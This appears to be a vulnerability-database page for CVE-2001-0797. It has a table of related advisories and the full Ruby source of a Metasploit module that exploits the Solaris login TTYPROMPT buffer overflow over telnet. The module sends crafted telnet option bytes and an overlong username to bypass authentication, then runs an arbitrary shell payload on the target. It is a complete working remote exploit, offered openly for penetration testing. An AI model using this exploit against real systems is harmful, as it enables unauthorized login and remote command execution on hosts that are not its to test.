| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
| Solaris 2.5.1/2.6/7/8 rlogin /bin/login Buffer Overflow Exploit (SPARC) | 24 Dec 200400:00 | – | zdt | |
| SysV /bin/login Environment Remote Overflow (rlogin) | 15 Dec 200100:00 | – | nessus | |
| SysV /bin/login Environment Remote Overflow (telnet check) | 15 Dec 200100:00 | – | nessus | |
| Multiple OS /bin/login Remote Overflow | 3 Oct 200200:00 | – | nessus | |
| CVE-2001-0797 | 22 Jun 201000:00 | – | circl | |
| Solaris /bin/login Vulnerability | 10 Apr 200216:00 | – | cisco | |
| System V TTYPROMPT Buffer Overflow - Ver2 (CVE-2001-0797) | 7 Jan 201400:00 | – | checkpoint_advisories | |
| System V TTYPROMPT Buffer Overflow - Ver2 (CVE-2001-0797) | 3 Feb 201400:00 | – | checkpoint_advisories | |
| CVE-2001-0797 | 25 Jun 200204:00 | – | cve | |
| CVE-2001-0797 | 25 Jun 200204:00 | – | cvelist |
##
# $Id: ttyprompt.rb 9583 2010-06-22 19:11:05Z todb $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
'Description' => %q{
This module uses a buffer overflow in the Solaris 'login'
application to bypass authentication in the telnet daemon.
},
'Author' => [ 'MC', 'cazz' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9583 $',
'References' =>
[
[ 'CVE', '2001-0797'],
[ 'OSVDB', '690'],
[ 'BID', '5531'],
],
'Privileged' => false,
'Platform' => ['unix', 'solaris'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
['Automatic', { }],
],
'DisclosureDate' => 'Jan 18 2002',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(23),
OptString.new('USER', [ true, "The username to use", "bin" ]),
], self.class)
end
def exploit
connect
banner = sock.get_once
print_status('Setting TTYPROMPT...')
req =
"\xff\xfc\x18" +
"\xff\xfc\x1f" +
"\xff\xfc\x21" +
"\xff\xfc\x23" +
"\xff\xfb\x22" +
"\xff\xfc\x24" +
"\xff\xfb\x27" +
"\xff\xfb\x00" +
"\xff\xfa\x27\x00" +
"\x00TTYPROMPT" +
"\x01" +
rand_text_alphanumeric(6) +
"\xff\xf0"
sock.put(req)
select(nil,nil,nil,0.25)
print_status('Sending username...')
filler = rand_text_alpha(rand(10) + 1)
req << datastore['USER'] + (" #{filler}" * 65)
sock.put(req + "\n\n\n")
select(nil,nil,nil,0.25)
sock.get_once
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
select(nil,nil,nil,0.25)
handler
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation